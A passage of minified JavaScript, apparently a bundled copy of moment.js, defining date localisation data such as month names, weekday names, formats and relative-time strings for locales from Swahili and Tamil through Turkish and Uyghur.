timmar",d:"en dag",dd:"%d dagar",M:"en månad",MM:"%d månader",y:"ett år",yy:"%d år"},dayOfMonthOrdinalParse:/\d{1,2}(\:e|\:a)/,ordinal:function(e){var t=e%10;return e+(1==~~(e%100/10)?":e":1===t||2===t?":a":":e")},week:{dow:1,doy:4}})}(n(381))},1172:function(e,t,n){!function(e){"use strict";e.defineLocale("sw",{months:"Januari_Februari_Machi_Aprili_Mei_Juni_Julai_Agosti_Septemba_Oktoba_Novemba_Desemba".split("_"),monthsShort:"Jan_Feb_Mac_Apr_Mei_Jun_Jul_Ago_Sep_Okt_Nov_Des".split("_"),weekdays:"Jumapili_Jumatatu_Jumanne_Jumatano_Alhamisi_Ijumaa_Jumamosi".split("_"),weekdaysShort:"Jpl_Jtat_Jnne_Jtan_Alh_Ijm_Jmos".split("_"),weekdaysMin:"J2_J3_J4_J5_Al_Ij_J1".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"hh:mm A",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[leo saa] LT",nextDay:"[kesho saa] LT",nextWeek:"[wiki ijayo] dddd [saat] LT",lastDay:"[jana] LT",lastWeek:"[wiki iliyopita] dddd [saat] LT",sameElse:"L"},relativeTime:{future:"%s baadaye",past:"tokea %s",s:"hivi punde",ss:"sekunde %d",m:"dakika moja",mm:"dakika %d",h:"saa limoja",hh:"masaa %d",d:"siku moja",dd:"siku %d",M:"mwezi mmoja",MM:"miezi %d",y:"mwaka mmoja",yy:"miaka %d"},week:{dow:1,doy:7}})}(n(381))},7333:function(e,t,n){!function(e){"use strict";var t={1:"௧",2:"௨",3:"௩",4:"௪",5:"௫",6:"௬",7:"௭",8:"௮",9:"௯",0:"௦"},n={"௧":"1","௨":"2","௩":"3","௪":"4","௫":"5","௬":"6","௭":"7","௮":"8","௯":"9","௦":"0"};e.defineLocale("ta",{months:"ஜனவரி_பிப்ரவரி_மார்ச்_ஏப்ரல்_மே_ஜூன்_ஜூலை_ஆகஸ்ட்_செப்டெம்பர்_அக்டோபர்_நவம்பர்_டிசம்பர்".split("_"),monthsShort:"ஜனவரி_பிப்ரவரி_மார்ச்_ஏப்ரல்_மே_ஜூன்_ஜூலை_ஆகஸ்ட்_செப்டெம்பர்_அக்டோபர்_நவம்பர்_டிசம்பர்".split("_"),weekdays:"ஞாயிற்றுக்கிழமை_திங்கட்கிழமை_செவ்வாய்கிழமை_புதன்கிழமை_வியாழக்கிழமை_வெள்ளிக்கிழமை_சனிக்கிழமை".split("_"),weekdaysShort:"ஞாயிறு_திங்கள்_செவ்வாய்_புதன்_வியாழன்_வெள்ளி_சனி".split("_"),weekdaysMin:"ஞா_தி_செ_பு_வி_வெ_ச".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, HH:mm",LLLL:"dddd, D MMMM YYYY, HH:mm"},calendar:{sameDay:"[இன்று] LT",nextDay:"[நாளை] LT",nextWeek:"dddd, LT",lastDay:"[நேற்று] LT",lastWeek:"[கடந்த வாரம்] dddd, LT",sameElse:"L"},relativeTime:{future:"%s இல்",past:"%s முன்",s:"ஒரு சில விநாடிகள்",ss:"%d விநாடிகள்",m:"ஒரு நிமிடம்",mm:"%d நிமிடங்கள்",h:"ஒரு மணி நேரம்",hh:"%d மணி நேரம்",d:"ஒரு நாள்",dd:"%d நாட்கள்",M:"ஒரு மாதம்",MM:"%d மாதங்கள்",y:"ஒரு வருடம்",yy:"%d ஆண்டுகள்"},dayOfMonthOrdinalParse:/\d{1,2}வது/,ordinal:function(e){return e+"வது"},preparse:function(e){return e.replace(/[௧௨௩௪௫௬௭௮௯௦]/g,(function(e){return n[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},meridiemParse:/யாமம்|வைகறை|காலை|நண்பகல்|எற்பாடு|மாலை/,meridiem:function(e,t,n){return e<2?" யாமம்":e<6?" வைகறை":e<10?" காலை":e<14?" நண்பகல்":e<18?" எற்பாடு":e<22?" மாலை":" யாமம்"},meridiemHour:function(e,t){return 12===e&&(e=0),"யாமம்"===t?e<2?e:e+12:"வைகறை"===t||"காலை"===t||"நண்பகல்"===t&&e>=10?e:e+12},week:{dow:0,doy:6}})}(n(381))},3110:function(e,t,n){!function(e){"use strict";e.defineLocale("te",{months:"జనవరి_ఫిబ్రవరి_మార్చి_ఏప్రిల్_మే_జూన్_జులై_ఆగస్టు_సెప్టెంబర్_అక్టోబర్_నవంబర్_డిసెంబర్".split("_"),monthsShort:"జన._ఫిబ్ర._మార్చి_ఏప్రి._మే_జూన్_జులై_ఆగ._సెప్._అక్టో._నవ._డిసె.".split("_"),monthsParseExact:!0,weekdays:"ఆదివారం_సోమవారం_మంగళవారం_బుధవారం_గురువారం_శుక్రవారం_శనివారం".split("_"),weekdaysShort:"ఆది_సోమ_మంగళ_బుధ_గురు_శుక్ర_శని".split("_"),weekdaysMin:"ఆ_సో_మం_బు_గు_శు_శ".split("_"),longDateFormat:{LT:"A h:mm",LTS:"A h:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, A h:mm",LLLL:"dddd, D MMMM YYYY, A h:mm"},calendar:{sameDay:"[నేడు] LT",nextDay:"[రేపు] LT",nextWeek:"dddd, LT",lastDay:"[నిన్న] LT",lastWeek:"[గత] dddd, LT",sameElse:"L"},relativeTime:{future:"%s లో",past:"%s క్రితం",s:"కొన్ని క్షణాలు",ss:"%d సెకన్లు",m:"ఒక నిమిషం",mm:"%d నిమిషాలు",h:"ఒక గంట",hh:"%d గంటలు",d:"ఒక రోజు",dd:"%d రోజులు",M:"ఒక నెల",MM:"%d నెలలు",y:"ఒక సంవత్సరం",yy:"%d సంవత్సరాలు"},dayOfMonthOrdinalParse:/\d{1,2}వ/,ordinal:"%dవ",meridiemParse:/రాత్రి|ఉదయం|మధ్యాహ్నం|సాయంత్రం/,meridiemHour:function(e,t){return 12===e&&(e=0),"రాత్రి"===t?e<4?e:e+12:"ఉదయం"===t?e:"మధ్యాహ్నం"===t?e>=10?e:e+12:"సాయంత్రం"===t?e+12:void 0},meridiem:function(e,t,n){return e<4?"రాత్రి":e<10?"ఉదయం":e<17?"మధ్యాహ్నం":e<20?"సాయంత్రం":"రాత్రి"},week:{dow:0,doy:6}})}(n(381))},2095:function(e,t,n){!function(e){"use strict";e.defineLocale("tet",{months:"Janeiru_Fevereiru_Marsu_Abril_Maiu_Juñu_Jullu_Agustu_Setembru_Outubru_Novembru_Dezembru".split("_"),monthsShort:"Jan_Fev_Mar_Abr_Mai_Jun_Jul_Ago_Set_Out_Nov_Dez".split("_"),weekdays:"Domingu_Segunda_Tersa_Kuarta_Kinta_Sesta_Sabadu".split("_"),weekdaysShort:"Dom_Seg_Ters_Kua_Kint_Sest_Sab".split("_"),weekdaysMin:"Do_Seg_Te_Ku_Ki_Ses_Sa".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Ohin iha] LT",nextDay:"[Aban iha] LT",nextWeek:"dddd [iha] LT",lastDay:"[Horiseik iha] LT",lastWeek:"dddd [semana kotuk] [iha] LT",sameElse:"L"},relativeTime:{future:"iha %s",past:"%s liuba",s:"segundu balun",ss:"segundu %d",m:"minutu ida",mm:"minutu %d",h:"oras ida",hh:"oras %d",d:"loron ida",dd:"loron %d",M:"fulan ida",MM:"fulan %d",y:"tinan ida",yy:"tinan %d"},dayOfMonthOrdinalParse:/\d{1,2}(st|nd|rd|th)/,ordinal:function(e){var t=e%10;return e+(1==~~(e%100/10)?"th":1===t?"st":2===t?"nd":3===t?"rd":"th")},week:{dow:1,doy:4}})}(n(381))},7321:function(e,t,n){!function(e){"use strict";var t={0:"-ум",1:"-ум",2:"-юм",3:"-юм",4:"-ум",5:"-ум",6:"-ум",7:"-ум",8:"-ум",9:"-ум",10:"-ум",12:"-ум",13:"-ум",20:"-ум",30:"-юм",40:"-ум",50:"-ум",60:"-ум",70:"-ум",80:"-ум",90:"-ум",100:"-ум"};e.defineLocale("tg",{months:{format:"январи_феврали_марти_апрели_майи_июни_июли_августи_сентябри_октябри_ноябри_декабри".split("_"),standalone:"январ_феврал_март_апрел_май_июн_июл_август_сентябр_октябр_ноябр_декабр".split("_")},monthsShort:"янв_фев_мар_апр_май_июн_июл_авг_сен_окт_ноя_дек".split("_"),weekdays:"якшанбе_душанбе_сешанбе_чоршанбе_панҷшанбе_ҷумъа_шанбе".split("_"),weekdaysShort:"яшб_дшб_сшб_чшб_пшб_ҷум_шнб".split("_"),weekdaysMin:"яш_дш_сш_чш_пш_ҷм_шб".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Имрӯз соати] LT",nextDay:"[Фардо соати] LT",lastDay:"[Дирӯз соати] LT",nextWeek:"dddd[и] [ҳафтаи оянда соати] LT",lastWeek:"dddd[и] [ҳафтаи гузашта соати] LT",sameElse:"L"},relativeTime:{future:"баъди %s",past:"%s пеш",s:"якчанд сония",m:"як дақиқа",mm:"%d дақиқа",h:"як соат",hh:"%d соат",d:"як рӯз",dd:"%d рӯз",M:"як моҳ",MM:"%d моҳ",y:"як сол",yy:"%d сол"},meridiemParse:/шаб|субҳ|рӯз|бегоҳ/,meridiemHour:function(e,t){return 12===e&&(e=0),"шаб"===t?e<4?e:e+12:"субҳ"===t?e:"рӯз"===t?e>=11?e:e+12:"бегоҳ"===t?e+12:void 0},meridiem:function(e,t,n){return e<4?"шаб":e<11?"субҳ":e<16?"рӯз":e<19?"бегоҳ":"шаб"},dayOfMonthOrdinalParse:/\d{1,2}-(ум|юм)/,ordinal:function(e){var n=e%10,r=e>=100?100:null;return e+(t[e]||t[n]||t[r])},week:{dow:1,doy:7}})}(n(381))},9041:function(e,t,n){!function(e){"use strict";e.defineLocale("th",{months:"มกราคม_กุมภาพันธ์_มีนาคม_เมษายน_พฤษภาคม_มิถุนายน_กรกฎาคม_สิงหาคม_กันยายน_ตุลาคม_พฤศจิกายน_ธันวาคม".split("_"),monthsShort:"ม.ค._ก.พ._มี.ค._เม.ย._พ.ค._มิ.ย._ก.ค._ส.ค._ก.ย._ต.ค._พ.ย._ธ.ค.".split("_"),monthsParseExact:!0,weekdays:"อาทิตย์_จันทร์_อังคาร_พุธ_พฤหัสบดี_ศุกร์_เสาร์".split("_"),weekdaysShort:"อาทิตย์_จันทร์_อังคาร_พุธ_พฤหัส_ศุกร์_เสาร์".split("_"),weekdaysMin:"อา._จ._อ._พ._พฤ._ศ._ส.".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY เวลา H:mm",LLLL:"วันddddที่ D MMMM YYYY เวลา H:mm"},meridiemParse:/ก่อนเที่ยง|หลังเที่ยง/,isPM:function(e){return"หลังเที่ยง"===e},meridiem:function(e,t,n){return e<12?"ก่อนเที่ยง":"หลังเที่ยง"},calendar:{sameDay:"[วันนี้ เวลา] LT",nextDay:"[พรุ่งนี้ เวลา] LT",nextWeek:"dddd[หน้า เวลา] LT",lastDay:"[เมื่อวานนี้ เวลา] LT",lastWeek:"[วัน]dddd[ที่แล้ว เวลา] LT",sameElse:"L"},relativeTime:{future:"อีก %s",past:"%sที่แล้ว",s:"ไม่กี่วินาที",ss:"%d วินาที",m:"1 นาที",mm:"%d นาที",h:"1 ชั่วโมง",hh:"%d ชั่วโมง",d:"1 วัน",dd:"%d วัน",w:"1 สัปดาห์",ww:"%d สัปดาห์",M:"1 เดือน",MM:"%d เดือน",y:"1 ปี",yy:"%d ปี"}})}(n(381))},9005:function(e,t,n){!function(e){"use strict";var t={1:"'inji",5:"'inji",8:"'inji",70:"'inji",80:"'inji",2:"'nji",7:"'nji",20:"'nji",50:"'nji",3:"'ünji",4:"'ünji",100:"'ünji",6:"'njy",9:"'unjy",10:"'unjy",30:"'unjy",60:"'ynjy",90:"'ynjy"};e.defineLocale("tk",{months:"Ýanwar_Fewral_Mart_Aprel_Maý_Iýun_Iýul_Awgust_Sentýabr_Oktýabr_Noýabr_Dekabr".split("_"),monthsShort:"Ýan_Few_Mar_Apr_Maý_Iýn_Iýl_Awg_Sen_Okt_Noý_Dek".split("_"),weekdays:"Ýekşenbe_Duşenbe_Sişenbe_Çarşenbe_Penşenbe_Anna_Şenbe".split("_"),weekdaysShort:"Ýek_Duş_Siş_Çar_Pen_Ann_Şen".split("_"),weekdaysMin:"Ýk_Dş_Sş_Çr_Pn_An_Şn".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[bugün sagat] LT",nextDay:"[ertir sagat] LT",nextWeek:"[indiki] dddd [sagat] LT",lastDay:"[düýn] LT",lastWeek:"[geçen] dddd [sagat] LT",sameElse:"L"},relativeTime:{future:"%s soň",past:"%s öň",s:"birnäçe sekunt",m:"bir minut",mm:"%d minut",h:"bir sagat",hh:"%d sagat",d:"bir gün",dd:"%d gün",M:"bir aý",MM:"%d aý",y:"bir ýyl",yy:"%d ýyl"},ordinal:function(e,n){switch(n){case"d":case"D":case"Do":case"DD":return e;default:if(0===e)return e+"'unjy";var r=e%10,i=e%100-r,s=e>=100?100:null;return e+(t[r]||t[i]||t[s])}},week:{dow:1,doy:7}})}(n(381))},5768:function(e,t,n){!function(e){"use strict";e.defineLocale("tl-ph",{months:"Enero_Pebrero_Marso_Abril_Mayo_Hunyo_Hulyo_Agosto_Setyembre_Oktubre_Nobyembre_Disyembre".split("_"),monthsShort:"Ene_Peb_Mar_Abr_May_Hun_Hul_Ago_Set_Okt_Nob_Dis".split("_"),weekdays:"Linggo_Lunes_Martes_Miyerkules_Huwebes_Biyernes_Sabado".split("_"),weekdaysShort:"Lin_Lun_Mar_Miy_Huw_Biy_Sab".split("_"),weekdaysMin:"Li_Lu_Ma_Mi_Hu_Bi_Sab".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"MM/D/YYYY",LL:"MMMM D, YYYY",LLL:"MMMM D, YYYY HH:mm",LLLL:"dddd, MMMM DD, YYYY HH:mm"},calendar:{sameDay:"LT [ngayong araw]",nextDay:"[Bukas ng] LT",nextWeek:"LT [sa susunod na] dddd",lastDay:"LT [kahapon]",lastWeek:"LT [noong nakaraang] dddd",sameElse:"L"},relativeTime:{future:"sa loob ng %s",past:"%s ang nakalipas",s:"ilang segundo",ss:"%d segundo",m:"isang minuto",mm:"%d minuto",h:"isang oras",hh:"%d oras",d:"isang araw",dd:"%d araw",M:"isang buwan",MM:"%d buwan",y:"isang taon",yy:"%d taon"},dayOfMonthOrdinalParse:/\d{1,2}/,ordinal:function(e){return e},week:{dow:1,doy:4}})}(n(381))},9444:function(e,t,n){!function(e){"use strict";var t="pagh_wa’_cha’_wej_loS_vagh_jav_Soch_chorgh_Hut".split("_");function n(e){var t=e;return t=-1!==e.indexOf("jaj")?t.slice(0,-3)+"leS":-1!==e.indexOf("jar")?t.slice(0,-3)+"waQ":-1!==e.indexOf("DIS")?t.slice(0,-3)+"nem":t+" pIq"}function r(e){var t=e;return t=-1!==e.indexOf("jaj")?t.slice(0,-3)+"Hu’":-1!==e.indexOf("jar")?t.slice(0,-3)+"wen":-1!==e.indexOf("DIS")?t.slice(0,-3)+"ben":t+" ret"}function i(e,t,n,r){var i=s(e);switch(n){case"ss":return i+" lup";case"mm":return i+" tup";case"hh":return i+" rep";case"dd":return i+" jaj";case"MM":return i+" jar";case"yy":return i+" DIS"}}function s(e){var n=Math.floor(e%1e3/100),r=Math.floor(e%100/10),i=e%10,s="";return n>0&&(s+=t[n]+"vatlh"),r>0&&(s+=(""!==s?" ":"")+t[r]+"maH"),i>0&&(s+=(""!==s?" ":"")+t[i]),""===s?"pagh":s}e.defineLocale("tlh",{months:"tera’ jar wa’_tera’ jar cha’_tera’ jar wej_tera’ jar loS_tera’ jar vagh_tera’ jar jav_tera’ jar Soch_tera’ jar chorgh_tera’ jar Hut_tera’ jar wa’maH_tera’ jar wa’maH wa’_tera’ jar wa’maH cha’".split("_"),monthsShort:"jar wa’_jar cha’_jar wej_jar loS_jar vagh_jar jav_jar Soch_jar chorgh_jar Hut_jar wa’maH_jar wa’maH wa’_jar wa’maH cha’".split("_"),monthsParseExact:!0,weekdays:"lojmItjaj_DaSjaj_povjaj_ghItlhjaj_loghjaj_buqjaj_ghInjaj".split("_"),weekdaysShort:"lojmItjaj_DaSjaj_povjaj_ghItlhjaj_loghjaj_buqjaj_ghInjaj".split("_"),weekdaysMin:"lojmItjaj_DaSjaj_povjaj_ghItlhjaj_loghjaj_buqjaj_ghInjaj".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[DaHjaj] LT",nextDay:"[wa’leS] LT",nextWeek:"LLL",lastDay:"[wa’Hu’] LT",lastWeek:"LLL",sameElse:"L"},relativeTime:{future:n,past:r,s:"puS lup",ss:i,m:"wa’ tup",mm:i,h:"wa’ rep",hh:i,d:"wa’ jaj",dd:i,M:"wa’ jar",MM:i,y:"wa’ DIS",yy:i},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n(381))},2397:function(e,t,n){!function(e){"use strict";var t={1:"'inci",5:"'inci",8:"'inci",70:"'inci",80:"'inci",2:"'nci",7:"'nci",20:"'nci",50:"'nci",3:"'üncü",4:"'üncü",100:"'üncü",6:"'ncı",9:"'uncu",10:"'uncu",30:"'uncu",60:"'ıncı",90:"'ıncı"};e.defineLocale("tr",{months:"Ocak_Şubat_Mart_Nisan_Mayıs_Haziran_Temmuz_Ağustos_Eylül_Ekim_Kasım_Aralık".split("_"),monthsShort:"Oca_Şub_Mar_Nis_May_Haz_Tem_Ağu_Eyl_Eki_Kas_Ara".split("_"),weekdays:"Pazar_Pazartesi_Salı_Çarşamba_Perşembe_Cuma_Cumartesi".split("_"),weekdaysShort:"Paz_Pts_Sal_Çar_Per_Cum_Cts".split("_"),weekdaysMin:"Pz_Pt_Sa_Ça_Pe_Cu_Ct".split("_"),meridiem:function(e,t,n){return e<12?n?"öö":"ÖÖ":n?"ös":"ÖS"},meridiemParse:/öö|ÖÖ|ös|ÖS/,isPM:function(e){return"ös"===e||"ÖS"===e},longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[bugün saat] LT",nextDay:"[yarın saat] LT",nextWeek:"[gelecek] dddd [saat] LT",lastDay:"[dün] LT",lastWeek:"[geçen] dddd [saat] LT",sameElse:"L"},relativeTime:{future:"%s sonra",past:"%s önce",s:"birkaç saniye",ss:"%d saniye",m:"bir dakika",mm:"%d dakika",h:"bir saat",hh:"%d saat",d:"bir gün",dd:"%d gün",w:"bir hafta",ww:"%d hafta",M:"bir ay",MM:"%d ay",y:"bir yıl",yy:"%d yıl"},ordinal:function(e,n){switch(n){case"d":case"D":case"Do":case"DD":return e;default:if(0===e)return e+"'ıncı";var r=e%10,i=e%100-r,s=e>=100?100:null;return e+(t[r]||t[i]||t[s])}},week:{dow:1,doy:7}})}(n(381))},8254:function(e,t,n){!function(e){"use strict";function t(e,t,n,r){var i={s:["viensas secunds","'iensas secunds"],ss:[e+" secunds",e+" secunds"],m:["'n míut","'iens míut"],mm:[e+" míuts",e+" míuts"],h:["'n þora","'iensa þora"],hh:[e+" þoras",e+" þoras"],d:["'n ziua","'iensa ziua"],dd:[e+" ziuas",e+" ziuas"],M:["'n mes","'iens mes"],MM:[e+" mesen",e+" mesen"],y:["'n ar","'iens ar"],yy:[e+" ars",e+" ars"]};return r||t?i[n][0]:i[n][1]}e.defineLocale("tzl",{months:"Januar_Fevraglh_Març_Avrïu_Mai_Gün_Julia_Guscht_Setemvar_Listopäts_Noemvar_Zecemvar".split("_"),monthsShort:"Jan_Fev_Mar_Avr_Mai_Gün_Jul_Gus_Set_Lis_Noe_Zec".split("_"),weekdays:"Súladi_Lúneçi_Maitzi_Márcuri_Xhúadi_Viénerçi_Sáturi".split("_"),weekdaysShort:"Súl_Lún_Mai_Már_Xhú_Vié_Sát".split("_"),weekdaysMin:"Sú_Lú_Ma_Má_Xh_Vi_Sá".split("_"),longDateFormat:{LT:"HH.mm",LTS:"HH.mm.ss",L:"DD.MM.YYYY",LL:"D. MMMM [dallas] YYYY",LLL:"D. MMMM [dallas] YYYY HH.mm",LLLL:"dddd, [li] D. MMMM [dallas] YYYY HH.mm"},meridiemParse:/d\'o|d\'a/i,isPM:function(e){return"d'o"===e.toLowerCase()},meridiem:function(e,t,n){return e>11?n?"d'o":"D'O":n?"d'a":"D'A"},calendar:{sameDay:"[oxhi à] LT",nextDay:"[demà à] LT",nextWeek:"dddd [à] LT",lastDay:"[ieiri à] LT",lastWeek:"[sür el] dddd [lasteu à] LT",sameElse:"L"},relativeTime:{future:"osprei %s",past:"ja%s",s:t,ss:t,m:t,mm:t,h:t,hh:t,d:t,dd:t,M:t,MM:t,y:t,yy:t},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n(381))},699:function(e,t,n){!function(e){"use strict";e.defineLocale("tzm-latn",{months:"innayr_brˤayrˤ_marˤsˤ_ibrir_mayyw_ywnyw_ywlywz_ɣwšt_šwtanbir_ktˤwbrˤ_nwwanbir_dwjnbir".split("_"),monthsShort:"innayr_brˤayrˤ_marˤsˤ_ibrir_mayyw_ywnyw_ywlywz_ɣwšt_šwtanbir_ktˤwbrˤ_nwwanbir_dwjnbir".split("_"),weekdays:"asamas_aynas_asinas_akras_akwas_asimwas_asiḍyas".split("_"),weekdaysShort:"asamas_aynas_asinas_akras_akwas_asimwas_asiḍyas".split("_"),weekdaysMin:"asamas_aynas_asinas_akras_akwas_asimwas_asiḍyas".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[asdkh g] LT",nextDay:"[aska g] LT",nextWeek:"dddd [g] LT",lastDay:"[assant g] LT",lastWeek:"dddd [g] LT",sameElse:"L"},relativeTime:{future:"dadkh s yan %s",past:"yan %s",s:"imik",ss:"%d imik",m:"minuḍ",mm:"%d minuḍ",h:"saɛa",hh:"%d tassaɛin",d:"ass",dd:"%d ossan",M:"ayowr",MM:"%d iyyirn",y:"asgas",yy:"%d isgasn"},week:{dow:6,doy:12}})}(n(381))},1106:function(e,t,n){!function(e){"use strict";e.defineLocale("tzm",{months:"ⵉⵏⵏⴰⵢⵔ_ⴱⵕⴰⵢⵕ_ⵎⴰⵕⵚ_ⵉⴱⵔⵉⵔ_ⵎⴰⵢⵢⵓ_ⵢⵓⵏⵢⵓ_ⵢⵓⵍⵢⵓⵣ_ⵖⵓⵛⵜ_ⵛⵓⵜⴰⵏⴱⵉⵔ_ⴽⵟⵓⴱⵕ_ⵏⵓⵡⴰⵏⴱⵉⵔ_ⴷⵓⵊⵏⴱⵉⵔ".split("_"),monthsShort:"ⵉⵏⵏⴰⵢⵔ_ⴱⵕⴰⵢⵕ_ⵎⴰⵕⵚ_ⵉⴱⵔⵉⵔ_ⵎⴰⵢⵢⵓ_ⵢⵓⵏⵢⵓ_ⵢⵓⵍⵢⵓⵣ_ⵖⵓⵛⵜ_ⵛⵓⵜⴰⵏⴱⵉⵔ_ⴽⵟⵓⴱⵕ_ⵏⵓⵡⴰⵏⴱⵉⵔ_ⴷⵓⵊⵏⴱⵉⵔ".split("_"),weekdays:"ⴰⵙⴰⵎⴰⵙ_ⴰⵢⵏⴰⵙ_ⴰⵙⵉⵏⴰⵙ_ⴰⴽⵔⴰⵙ_ⴰⴽⵡⴰⵙ_ⴰⵙⵉⵎⵡⴰⵙ_ⴰⵙⵉⴹⵢⴰⵙ".split("_"),weekdaysShort:"ⴰⵙⴰⵎⴰⵙ_ⴰⵢⵏⴰⵙ_ⴰⵙⵉⵏⴰⵙ_ⴰⴽⵔⴰⵙ_ⴰⴽⵡⴰⵙ_ⴰⵙⵉⵎⵡⴰⵙ_ⴰⵙⵉⴹⵢⴰⵙ".split("_"),weekdaysMin:"ⴰⵙⴰⵎⴰⵙ_ⴰⵢⵏⴰⵙ_ⴰⵙⵉⵏⴰⵙ_ⴰⴽⵔⴰⵙ_ⴰⴽⵡⴰⵙ_ⴰⵙⵉⵎⵡⴰⵙ_ⴰⵙⵉⴹⵢⴰⵙ".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[ⴰⵙⴷⵅ ⴴ] LT",nextDay:"[ⴰⵙⴽⴰ ⴴ] LT",nextWeek:"dddd [ⴴ] LT",lastDay:"[ⴰⵚⴰⵏⵜ ⴴ] LT",lastWeek:"dddd [ⴴ] LT",sameElse:"L"},relativeTime:{future:"ⴷⴰⴷⵅ ⵙ ⵢⴰⵏ %s",past:"ⵢⴰⵏ %s",s:"ⵉⵎⵉⴽ",ss:"%d ⵉⵎⵉⴽ",m:"ⵎⵉⵏⵓⴺ",mm:"%d ⵎⵉⵏⵓⴺ",h:"ⵙⴰⵄⴰ",hh:"%d ⵜⴰⵙⵙⴰⵄⵉⵏ",d:"ⴰⵙⵙ",dd:"%d oⵙⵙⴰⵏ",M:"ⴰⵢoⵓⵔ",MM:"%d ⵉⵢⵢⵉⵔⵏ",y:"ⴰⵙⴳⴰⵙ",yy:"%d ⵉⵙⴳⴰⵙⵏ"},week:{dow:6,doy:12}})}(n(381))},9288:function(e,t,n){!function(e){"use strict";e.defineLocale("ug-cn",{months:"يانۋار_فېۋرال_مارت_ئاپرېل_ماي_ئىيۇن_ئىيۇل_ئاۋغۇست_سېنتەبىر_ئۆكتەبىر_نويابىر_دېكابىر".split("_"),monthsShort:"يانۋار_فېۋرال_مارت_ئاپرېل_ماي_ئىيۇن_ئىيۇل_ئاۋغۇست_سېنتەبىر_ئۆكتەبىر_نويابىر_دېكابىر".split("_"),weekdays:"يەكشەنبە_دۈشەنبە_سەيشەنبە_چارشەنبە_پەيشەنبە_جۈمە_شەنبە".split("_"),weekdaysShort:"يە_دۈ_سە_چا_پە_جۈ_شە".split("_"),weekdaysMin:"يە_دۈ_سە_چا_پە_جۈ_شە".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"YYYY-MM-DD",LL:"YYYY-يىلىM-ئاينىڭD-كۈنى",LLL:"YYYY-يىلىM-ئاينىڭD-كۈنى، HH:mm",LLLL:"dddd، YYYY-يىلىM-ئاينىڭD-كۈنى، HH:mm"},meridiemParse:/يېرىم كېچە|سەھەر|چۈشتىن بۇرۇن|چۈش|چۈشتىن كېيىن|كەچ/,meridiemHour:function(e,t){return 12===e&&(e=0),"يېرىم كېچە"===t||"سەھەر"===t||"چۈشتىن بۇرۇن"===t?e:"چۈشتىن كېيىن"===t||"كەچ"===t?e+12:e>=11?e:e+12},meridiem:function(e,t,n){var r=100*e+t;return r<600?"يېرىم كېچە":r<900?"سەھەر":r<1130?"چۈشتىن بۇرۇن":r<1230?"چۈش":r<1800?"چۈشتىن كېيىن":"كەچ"},calendar:{sameDay:"[بۈگۈن سائەت] LT",nextDay:"[ئەتە سائەت] LT",nextWeek:"[كېلەركى] dddd [سائەت] LT",lastDay:"[تۆنۈگۈن] LT",lastWeek:"[ئالدىنقى] dddd [سائەت] LT",sameElse:"L"},relativeTime:{future:"%s كېيىن",past:"%s بۇرۇن",s:"نەچچە سېكونت",ss:"%d سېكونت",m:"بىر مىنۇت",mm:"%d مىنۇت",h:"بىر سائەت",hh:"%d سائەت",d:"بىر كۈن",dd:"%d كۈن",M:"بىر ئاي",MM:"%d ئاي",y:"بىر يىل",yy:"%d يىل"},dayOfMonthOrdinalParse:/\d{1,2}(-كۈنى|-ئاي|-ھەپتە)/,ordinal:function(e,t){switch(t){case"d":case"D":case"DDD":return e+"-كۈنى";case"w":case"W":return e+"-ھەپتە";default:return e}},preparse:function(e){return e.replace(/،/g,",")},postformat:function(e){return e.replace(/,/g,"،")},week:{dow:1,doy:7}})}(n(381))},7691:function(e,t,n){!function(e){"use strict";function t(e,t){var n=e.split("_");return t%10==1&&t%100!=11?n[0]:t%10>=2&&t%10<=4&&(t%100<10||t%100>=20)?n[1]:n[2]}function n(e,n,r){return"m"===r?n?"хвилина":"хвилину":"h"===r?n?"година":"годину":e+" "+t({ss:n?"секунда_секунди_секунд":"секунду_секунди_секунд",mm:n?"хвилина_хвилини_хвилин":"хвилину_хвилини_хвилин",hh:n?"година_години_годин":"годину_години_годин",dd:"день_дні_днів",MM:"місяць_місяці_місяців",yy:"рік_роки_років"}[r],+e)}function r(e,t){var 